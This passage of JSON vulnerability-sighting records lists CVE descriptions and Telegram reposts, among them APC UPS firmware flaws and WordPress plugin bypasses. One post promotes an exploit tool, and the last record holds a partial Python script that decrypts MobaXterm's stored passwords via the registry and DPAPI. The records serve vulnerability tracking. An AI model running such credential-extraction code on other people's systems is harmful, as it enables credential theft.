\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 (\u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0443 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u0430\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u044c, \u0430 \u043b\u0438\u0448\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0438\u043c\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u043e\u0435 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u043a\u043b\u044e\u0447\u043e\u043c). \u041f\u0440\u0438 \u0435\u0435 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 CVE-2022-22805 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0436\u0435\u0440\u0442\u0432\u044b, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0432\u0448\u0438\u0441\u044c \u043a\u0430\u043a \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Schneider Electric, \u0438\u043b\u0438 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\nSchneider Electric \u0443\u0436\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 \u0443\u0436\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441 \u043a\u0430\u0440\u0442\u043e\u0439 NMC \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c SSL-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e.\n@NeKaspersky", "creation_timestamp": "2022-03-10T17:35:45.000000Z"}, {"uuid": "0c8d843c-21fd-437e-944b-1fce79723a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0719", "type": "seen", "source": "https://t.me/ctinow/210910", "content": "https://ift.tt/cOJLw60\nCVE-2024-0719", "creation_timestamp": "2024-03-18T20:26:45.000000Z"}, {"uuid": "565ac32e-a502-4744-89eb-fae67414c83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0711", "type": "seen", "source": "https://t.me/ctinow/210909", "content": "https://ift.tt/AaP5HZo\nCVE-2024-0711", "creation_timestamp": "2024-03-18T20:26:43.000000Z"}, {"uuid": "531a46a9-cb28-4eff-9478-b0b3e5120df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0715", "type": "seen", "source": "https://t.me/ctinow/188079", "content": "https://ift.tt/0o2If9B\nCVE-2024-0715", "creation_timestamp": "2024-02-20T03:31:59.000000Z"}, {"uuid": "7302804d-8a66-450c-a5df-09d133383f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0715", "type": "seen", "source": "https://t.me/ctinow/188070", "content": "https://ift.tt/0o2If9B\nCVE-2024-0715", "creation_timestamp": "2024-02-20T03:31:44.000000Z"}, {"uuid": "41b794c8-2560-4228-8b12-c461d851401f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "seen", "source": "https://t.me/ctinow/185293", "content": "https://ift.tt/C4pJzdo\nCVE-2024-0713 | Monitorr 1.7.6m Services Configuration /assets/php/upload.php fileToUpload unrestricted upload", "creation_timestamp": "2024-02-15T07:41:30.000000Z"}, {"uuid": "4dfbb2e5-c034-4abc-b874-3099e09b5f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0712", "type": "seen", "source": "https://t.me/ctinow/185292", "content": "https://ift.tt/GgeJ4Wd\nCVE-2024-0712 | Beijing Baichuo Smart S150 Management Platform V31R02B15 userattea.php access control", "creation_timestamp": "2024-02-15T07:41:29.000000Z"}, {"uuid": "6b25a3d0-71b8-4d89-8e15-9d262783450b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0718", "type": "seen", "source": "https://t.me/ctinow/185340", "content": "https://ift.tt/iSeyXtA\nCVE-2024-0718 | liuwy-dlsdys zhglxt 4.7.7 HTTP POST Request /oa/notify/edit notifyTitle cross site scripting", "creation_timestamp": "2024-02-15T08:41:07.000000Z"}, {"uuid": "42a9ffeb-0884-439a-ba05-cd73b6fb7d04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0717", "type": "seen", "source": "https://t.me/ctinow/185314", "content": "https://ift.tt/VivlyB8\nCVE-2024-0717 | D-Link Good Line Router v2 up to 20240112 HTTP GET Request /devinfo area information disclosure", "creation_timestamp": "2024-02-15T08:11:32.000000Z"}, {"uuid": "9ccc5a78-d26c-4cb0-a714-2cc4c8c11b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0716", "type": "seen", "source": "https://t.me/ctinow/185313", "content": "https://ift.tt/orYPL1h\nCVE-2024-0716 | Beijing Baichuo Smart S150 Management Platform V31R02B15 Backup File /log/download.php information disclosure", "creation_timestamp": "2024-02-15T08:11:28.000000Z"}, {"uuid": "d9dafa88-7918-4689-9a6b-c3f3c0b3d6c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0714", "type": "seen", "source": "https://t.me/ctinow/185312", "content": "https://ift.tt/qbo4tjW\nCVE-2024-0714 | MiczFlor RPi-Jukebox-RFID up to 2.5.0 HTTP Request userScripts.php folder os command injection", "creation_timestamp": "2024-02-15T08:11:27.000000Z"}, {"uuid": "40490d3f-448b-49c9-be79-954f5616bc85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0712", "type": "seen", "source": "https://t.me/ctinow/182788", "content": "https://ift.tt/4Qwebor\nCVE-2019-0712 | Microsoft Windows up to Server 2019 Hyper-V input validation", "creation_timestamp": "2024-02-11T14:07:17.000000Z"}, {"uuid": "85425967-2b63-40f0-b9e8-504e1f7e3b66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "seen", "source": "https://t.me/ctinow/174449", "content": "https://ift.tt/6iV9Oms\nCVE-2024-0713 Exploit", "creation_timestamp": "2024-01-26T20:16:29.000000Z"}, {"uuid": "1d0f9f0b-3742-4279-a572-23f6e08587ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0718", "type": "seen", "source": "https://t.me/ctinow/173862", "content": "https://ift.tt/0Yx45LM\nCVE-2024-0718 Exploit", "creation_timestamp": "2024-01-25T23:16:29.000000Z"}, {"uuid": "e15929fa-fc84-4b02-9399-a2939c88c8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0712", "type": "seen", "source": "https://t.me/ctinow/173851", "content": "https://ift.tt/n3b2Qpq\nCVE-2024-0712 Exploit", "creation_timestamp": "2024-01-25T23:16:16.000000Z"}, {"uuid": "05326beb-849e-4ae7-b58a-bf35f030d235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0716", "type": "seen", "source": "https://t.me/ctinow/173905", "content": "https://ift.tt/GNqJaeH\nCVE-2024-0716 Exploit", "creation_timestamp": "2024-01-26T01:17:02.000000Z"}, {"uuid": "3ae8c156-e29e-4880-ad20-49007f3ea137", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0717", "type": "seen", "source": "https://t.me/ctinow/173903", "content": "https://ift.tt/DwtqMfm\nCVE-2024-0717 Exploit", "creation_timestamp": "2024-01-26T01:16:59.000000Z"}, {"uuid": "5951bf94-62c1-4f18-b967-9e4414bd188a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0718", "type": "seen", "source": "https://t.me/ctinow/170299", "content": "https://ift.tt/cq1ZMIz\nCVE-2024-0718", "creation_timestamp": "2024-01-19T17:22:08.000000Z"}, {"uuid": "326ad1eb-2156-447b-ac0c-cff23a7f4bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0717", "type": "seen", "source": "https://t.me/ctinow/170298", "content": "https://ift.tt/13xAHfi\nCVE-2024-0717", "creation_timestamp": "2024-01-19T17:22:07.000000Z"}, {"uuid": "f10cd4ce-6699-477c-81c8-a8ec9dbb1831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0713", "type": "seen", "source": "https://t.me/cibsecurity/57709", "content": "\u203c CVE-2023-0713 \u203c\n\nThe Wicked Folders plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the ajax_add_folder function in versions up to, and including, 2.18.16. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to invoke this function and perform actions intended for administrators such as modifying the folder structure maintained by the plugin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T00:24:20.000000Z"}, {"uuid": "8c8108a7-984f-4455-b9eb-efee65440b55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0716", "type": "seen", "source": "https://t.me/cibsecurity/57745", "content": "\u203c CVE-2023-0716 \u203c\n\nThe Wicked Folders plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the ajax_edit_folder function in versions up to, and including, 2.18.16. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to invoke this function and perform actions intended for administrators such as modifying the folder structure maintained by the plugin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T07:23:46.000000Z"}, {"uuid": "be0a59c8-efc2-45e1-9180-c70d104d7a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0711", "type": "seen", "source": "https://t.me/cibsecurity/57744", "content": "\u203c CVE-2023-0711 \u203c\n\nThe Wicked Folders plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the ajax_save_state function in versions up to, and including, 2.18.16. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to invoke this function and perform actions intended for administrators such as modifying the view state of the folder structure maintained by the plugin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T07:23:45.000000Z"}, {"uuid": "5b840ce1-9721-45a5-9a55-1c8735b2aa6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0718", "type": "seen", "source": "https://t.me/cibsecurity/57731", "content": "\u203c CVE-2023-0718 \u203c\n\nThe Wicked Folders plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the ajax_save_folder function in versions up to, and including, 2.18.16. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to invoke this function and perform actions intended for administrators such as modifying the folder structure maintained by the plugin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T02:23:34.000000Z"}, {"uuid": "bc5085c6-c9e1-4137-aef1-992fad927b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0715", "type": "seen", "source": "https://t.me/cibsecurity/57752", "content": "\u203c CVE-2023-0715 \u203c\n\nThe Wicked Folders plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the ajax_clone_folder function in versions up to, and including, 2.18.16. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to invoke this function and perform actions intended for administrators such as modifying the folder structure maintained by the plugin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T07:23:57.000000Z"}, {"uuid": "28149596-8c4c-461a-8764-ef84ea1a2079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0719", "type": "seen", "source": "https://t.me/cibsecurity/57725", "content": "\u203c CVE-2023-0719 \u203c\n\nThe Wicked Folders plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the ajax_save_sort_order function in versions up to, and including, 2.18.16. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to invoke this function and perform actions intended for administrators such as modifying the folder structure maintained by the plugin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T02:23:27.000000Z"}, {"uuid": "e9295511-ed1d-4415-b494-45f247c9fa9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0712", "type": "seen", "source": "https://t.me/cibsecurity/57724", "content": "\u203c CVE-2023-0712 \u203c\n\nThe Wicked Folders plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the ajax_move_object function in versions up to, and including, 2.18.16. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to invoke this function and perform actions intended for administrators such as modifying the folder structure maintained by the plugin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T02:23:26.000000Z"}, {"uuid": "40d169cc-63eb-42c4-8e97-a61a545242b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0711", "type": "seen", "source": "https://t.me/cibsecurity/38326", "content": "\u203c CVE-2022-0711 \u203c\n\nA flaw was found in the way HAProxy processed HTTP responses containing the \"Set-Cookie2\" header. This flaw could allow an attacker to send crafted HTTP response packets which lead to an infinite loop, eventually resulting in a denial of service condition. The highest threat from this vulnerability is availability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-03T00:25:18.000000Z"}, {"uuid": "453f0b73-71a2-4c23-a9b9-3e4b238ad540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0715", "type": "seen", "source": "https://t.me/cibsecurity/38624", "content": "\u203c CVE-2022-0715 \u203c\n\nA CWE-287: Improper Authentication vulnerability exists that could cause an attacker to arbitrarily change the behavior of the UPS when a key is leaked and used to upload malicious firmware. Affected Product: APC Smart-UPS Family: SMT Series (SMT Series ID=18: UPS 09.8 and prior / SMT Series ID=1040: UPS 01.2 and prior / SMT Series ID=1031: UPS 03.1 and prior), SMC Series (SMC Series ID=1005: UPS 14.1 and prior / SMC Series ID=1007: UPS 11.0 and prior / SMC Series ID=1041: UPS 01.1 and prior), SCL Series (SCL Series ID=1030: UPS 02.5 and prior / SCL Series ID=1036: UPS 02.5 and prior), SMX Series (SMX Series ID=20: UPS 10.2 and prior / SMX Series ID=23: UPS 07.0 and prior), SRT Series (SRT Series ID=1010/1019/1025: UPS 08.3 and prior / SRT Series ID=1024: UPS 01.0 and prior / SRT Series ID=1020: UPS 10.4 and prior / SRT Series ID=1021: UPS 12.2 and prior / SRT Series ID=1001/1013: UPS 05.1 and prior / SRT Series ID=1002/1014: UPSa05.2 and prior), APC SmartConnect Family: SMT Series (SMT Series ID=1015: UPS 04.5 and prior), SMC Series (SMC Series ID=1018: UPS 04.2 and prior), SMTL Series (SMTL Series ID=1026: UPS 02.9 and prior), SCL Series (SCL Series ID=1029: UPS 02.5 and prior / SCL Series ID=1030: UPS 02.5 and prior / SCL Series ID=1036: UPS 02.5 and prior / SCL Series ID=1037: UPS 03.1 and prior), SMX Series (SMX Series ID=1031: UPS 03.1 and prior)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-09T22:15:14.000000Z"}, {"uuid": "3cf0bf15-8ff7-47f6-839c-c7e47873fc19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0719", "type": "seen", "source": "https://t.me/cibsecurity/37939", "content": "\u203c CVE-2022-0719 \u203c\n\nCross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.3.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-23T14:13:23.000000Z"}, {"uuid": "d04c9b72-0b2b-47e0-a160-aa2e160d1ed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0713", "type": "seen", "source": "https://t.me/cibsecurity/37900", "content": "\u203c CVE-2022-0713 \u203c\n\nHeap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.6.4.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-22T22:12:44.000000Z"}, {"uuid": "882f1cfe-2192-4563-ac1e-3cb26e29c140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0714", "type": "seen", "source": "https://t.me/cibsecurity/37898", "content": "\u203c CVE-2022-0714 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-22T22:12:42.000000Z"}, {"uuid": "efe15cbd-3a42-4b43-8e49-96ab0cee9d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0712", "type": "seen", "source": "https://t.me/cibsecurity/37893", "content": "\u203c CVE-2022-0712 \u203c\n\nNULL Pointer Dereference in GitHub repository radareorg/radare2 prior to 5.6.4.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-22T20:12:41.000000Z"}, {"uuid": "2c22dd2d-245f-4f90-b27b-cd11c64e83e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0717", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2105", "content": "#Research\n\"Hypervisor Vulnerability Research: Virtual Network Switch Vulnerability (CVE-2019-0717)\", 2020.\n]-> Hyper-V Internals and LIS\nhttps://re.alisa.sh/notes/Hyper-V-LIS.html\n]-> PoC for CVE-2019-0717:\nhttps://github.com/badd1e/Disclosures/blob/master/CVE-2019-0717_Hyper-V/PoC_CVE-2019-0717.c", "creation_timestamp": "2021-02-16T02:23:16.000000Z"}, {"uuid": "b3b99029-5e60-445e-b601-9126d10bd022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0715", "type": "seen", "source": "https://t.me/cibsecurity/146", "content": "ATENTION\u203c New - CVE-2016-0715\n\nPivotal Cloud Foundry Elastic Runtime version 1.4.0 through 1.4.5, 1.5.0 through 1.5.11 and 1.6.0 through 1.6.11 is vulnerable to a remote information disclosure. It was found that original mitigation configuration instructions provided as part of CVE-2016-0708 were incomplete and could leave PHP Buildpack, Staticfile Buildpack and potentially other custom Buildpack applications vulnerable to remote information disclosure. Affected applications use automated buildpack detection, serve files directly from the root of the application and have a buildpack that matched after the Java Buildpack in the system buildpack priority when Java Buildpack versions 2.0 through 3.4 were present.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2018-09-11T20:18:20.000000Z"}, {"uuid": "8237c0e5-4690-480f-997e-745ebc83be9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2012-0718", "type": "seen", "source": "https://t.me/cibsecurity/9900", "content": "ATENTION\u203c New - CVE-2012-0718\n\nIBM Tivoli Endpoint Manager 8 does not set the HttpOnly flag on cookies.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-02-18T20:36:05.000000Z"}, {"uuid": "2591beb0-3527-48de-96ab-f6bad8bbe7fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/DEVIL_La_RSx/370", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-11-20T22:32:26.000000Z"}, {"uuid": "96d7e1d1-c52d-465c-8fb3-48ec831658cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0714", "type": "seen", "source": "Telegram/vpOabQVvb76izlIWt2pzp7PU5zl-D7jeeGQcHuuxEyFlkWM", "content": "", "creation_timestamp": "2026-05-21T09:00:04.000000Z"}, {"uuid": "4bf40d55-516d-4d33-9642-e56865e61cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "https://gist.github.com/kipavy/910e7ddc8efea7aeb9202c0241486a1d", "content": "#!/usr/bin/env python3\n\"\"\"\nMobaXterm v25+/v26 password decryptor  (handles CVE-2025-0714 random-IV format).\n\nOlder tools (HyperSine, XMCyber, clemthi) assume a fixed IV = AES-ECB(key, 0).\nMobaXterm >= 25.0 switched to a random per-password IV stored inline. Format:\n\n    stored = \"_@\" + IV(16 chars) + base64(AES-256-CFB8(key, IV, password))\n\n  key  = SHA512(master_password)[:32]\n  IV   = the 16 ASCII characters right after the \"_@\" marker (used as the AES IV bytes)\n  body = base64-decode the FULL stored string (alphabet @->+, _->/), then drop the\n         first 15 bytes -> the CFB8 ciphertext of the password.\n\nThis script auto-derives the key from the DPAPI-protected master-password hash in the\nregistry (so you don't even need to type the master password), then decrypts the\nP (session passwords) and C (credentials) subkeys.\n\nRequires: pycryptodome  (pip install pycryptodome)\nWindows only (reads HKCU and uses DPAPI).\n\"\"\"\nimport os, sys, platform, base64, hashlib, itertools, winreg, ctypes\nfrom ctypes import wintypes\nfrom Crypto.Cipher import AES\n\nREG_BASE = r'Software\\Mobatek\\MobaXterm'\nDPAPI_HEADER = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb')\n\n\n# ---- DPAPI (CryptUnprotectData) via Win32, with optional entropy ----\nclass DATA_BLOB(ctypes.Structure):\n    _fields_ = [('cbData', wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))]\n\ndef _blob(data: bytes) -> DATA_BLOB:\n    buf = ctypes.create_string_buffer(data, len(data))\n    return DATA_BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))\n\ndef dpapi_unprotect(data: bytes, entropy: bytes) -> bytes:\n    pin, pent, pout = _blob(data), _blob(entropy), DATA_BLOB()\n    if not ctypes.windll.crypt32.CryptUnprotectData(\n            ctypes.byref(pin), None, ctypes.byref(pent), None, None, 0, ctypes.byref(pout)):\n        raise ctypes.WinError()\n    out = ctypes.string_at(pout.pbData, pout.cbData)\n    ctypes.windll.kernel32.LocalFree(pout.pbData)\n    return out\n\n\ndef derive_key_from_registry() -> bytes:\n    \"\"\"Derive the AES key from the DPAPI-protected master-password hash (no typing needed).\"\"\"\n    base = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE)\n    session_p, _ = winreg.QueryValueEx(base, 'SessionP')\n    m = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + r'\\M')\n    val, _ = winreg.QueryValueEx(m, os.getlogin() + '@' + platform.node())\n    blob = DPAPI_HEADER + base64.b64decode(val)\n    master_hash = dpapi_unprotect(blob, str(session_p).encode('utf-8'))\n    return 